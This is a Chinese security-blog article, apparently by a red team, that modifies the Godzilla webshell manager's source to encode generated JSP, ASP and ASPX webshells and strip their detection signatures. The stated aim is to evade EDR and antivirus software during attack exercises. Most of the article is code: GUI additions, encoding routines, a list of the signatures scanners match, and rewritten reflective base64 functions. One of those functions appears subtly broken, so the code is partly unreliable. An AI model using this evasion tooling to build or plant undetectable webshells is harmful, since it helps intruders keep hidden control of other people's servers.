freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深信服华中天慧战队:哥斯拉二开-Webshell自动化编码及免杀
2023-12-11 15:13:43

前言

在常见的HVV项目中,为了避免shell被edr检测到,因此需要对shell进行免杀处理。由于哥斯拉4.0.1版本默认生成的webshell已经不免杀,通过来说,需要借助第三方工具实现shell免杀。因此,常规的免杀步骤如下:

1.通过哥斯拉生成webshell

2.通过第三方工具进行免杀处理

3.本地查杀测试

4.shell上传/编码后上传

上面所述的是最理想化的步骤,但通过多次项目总结,步骤2是问题最多的,通常的问题如下:

**1.第三方工具不完善。**由于第三方工具免杀所支持的shell类型不同,如果处理shell免杀就需要同时使用这三款工具,然后去测试是否能够支持我们需要的webshell免杀。这其实是很不方便的。举例:工具1仅支持jsp;工具2仅支持php;工具3仅支持aspx及php。

2.第三方工具更新问题。由于第三方工具更新时间及更新内容不固定,导致免杀失效的问题。要对shell进行免杀,需要挨个测试。举例:工具1仅支持jsp和php免杀,但jsp免杀已经失效;工具2仅支持jsp和aspx,但aspx免杀已失效;工具3仅支持aspx及php,但php免杀已失效。

**3.第三方工具兼容性问题。**由于第三方工具处理shell免杀的方式不同,因此部分业务场景存在第三方工具生成的shell或处理后的shell存在兼容问题,无法获取目标机器权限的问题。



为了解决步骤2所产生的问题,因此需要对哥斯拉源码进行修改,实现如下功能:

1.可对生成的webshell指定编码,可用于二次免杀或bypasswaf

2.生成的webshell自动免杀,不再依赖第三方工具

Shell生成界面修改

通过对哥斯拉webshell生成的流程分析。可以通过多种方式进行免杀。但为了方便用户操作,可选择通过对Shell生成界面修改及功能添加,实现免杀。

image

定位到GenerateShellLoder,添加变量JCheckBox及JComboBox

image

//新增shell编码
   private final JCheckBox EncodingCheckBox;
   private final JComboBox<String> EncodingTypeComboBox;

在GenerateShellLoder方法中需要指定控件的布局信息

image

//新增生成编码
GBC gbcLEncoding = (new GBC(0, 6)).setInsets(5, -40, 0, 0);
GBC gbcEncoding = (new GBC(1, 6, 3, 1)).setInsets(5, 20, 0, 0);

初始化控件,添加代码如下

image

//新增生成编码
this.EncodingCheckBox = new JCheckBox("生成编码");
this.EncodingTypeComboBox = new JComboBox();
//新增生成编码
c.add(this.EncodingCheckBox, gbcLEncoding);
c.add(this.EncodingTypeComboBox, gbcEncoding);

将代码添加完成后,通过调试,可看到shell生成界面多了生成编码的功能。但编码类型是空的,因此需要进一步添加编码类型。

image

以jsp为例,这里添加了多种编码。比如unicode编码,b64编码,url编码等

image

GenerateShellLoder.this.EncodingTypeComboBox.addItem("unicodejsp");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("unicode+url");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("htmlEncodeJspx");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("base64");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("url");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("base64+url");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("escape");

将代码添加完成后,通过调试,可看到生成编码可选了。

image

Shell生成代码添加

在generateFileButtonClick方法中,添加代码,让生成的shell进行编码处理

image

Boolean Encoding = this.EncodingCheckBox.isSelected();

            if (Encoding&&!this.ShellExtractCheckBox.isSelected()) {

               if (EncodingType.equals("base64")) {
                  data = functions.base64Encode(data);
               } else if (EncodingType.equals("base64+url")) {
                  data = functions.base64Encode(data);
                  data = functions.urlEncode(new String(data)).getBytes();
               } else if (EncodingType.equals("url")) {
                  data = functions.urlEncode(new String(data)).getBytes();
               } else if (EncodingType.equals("unicodejsp")) {
                  data = functions.encoderJsp(new String(data)).getBytes();
               }
            }

通过进一步完善代码,最后实现了自动编码功能。

unicode编码结果如下

image

htmljspx编码结果如下

image

asp的utf-7编码结果如下

image

aspx的unicode编码结果如下

image

Shell免杀处理

上面介绍了对shell的编码处理功能,通过编码可绕过部分安全软件的查杀,比如aspx的unicode编码,asp的utf-7编码。

但某些安全软件会判断shell是否被编码了。如果编码了,会提示类似“xx编码脚本”字样的内容。

image

所以需要对webshell进行免杀处理。以jsp为例,通过定位特征,常见的shell特征代码如下

this.getClass().getClassLoader()

Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);

value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});

value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});

 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});

value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});

javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");

c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));

session.getAttribute("payload")
session.setAttribute("payload")

接下来需要对特征进行处理。

this.getClass().getClassLoader() 可替换为Thread.currentThread().getContextClassLoader()

base64Encode方法可修改为如下代码

public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            Class enen = Encoder.getClass();
            value = (String) enen.getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                Class enen = Encoder.getClass();
                value = (String) enen.getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

base64Decode方法可修改为如下代码

public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            Class dede = decoder.getClass();
            value = (byte[]) dede.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                Class dede = decoder.getClass();
                value = (byte[]) dede.getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

通过对所有特征码处理,并查杀测试,发现并未查杀

image

最后修改哥斯拉源码中base64Code.bin和base64GlobalCode.bin文件,替换为修改后的shell代码。

image

通过生成shell测试,发现生成的shell内容为免杀处理后的内容

image

# xss
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者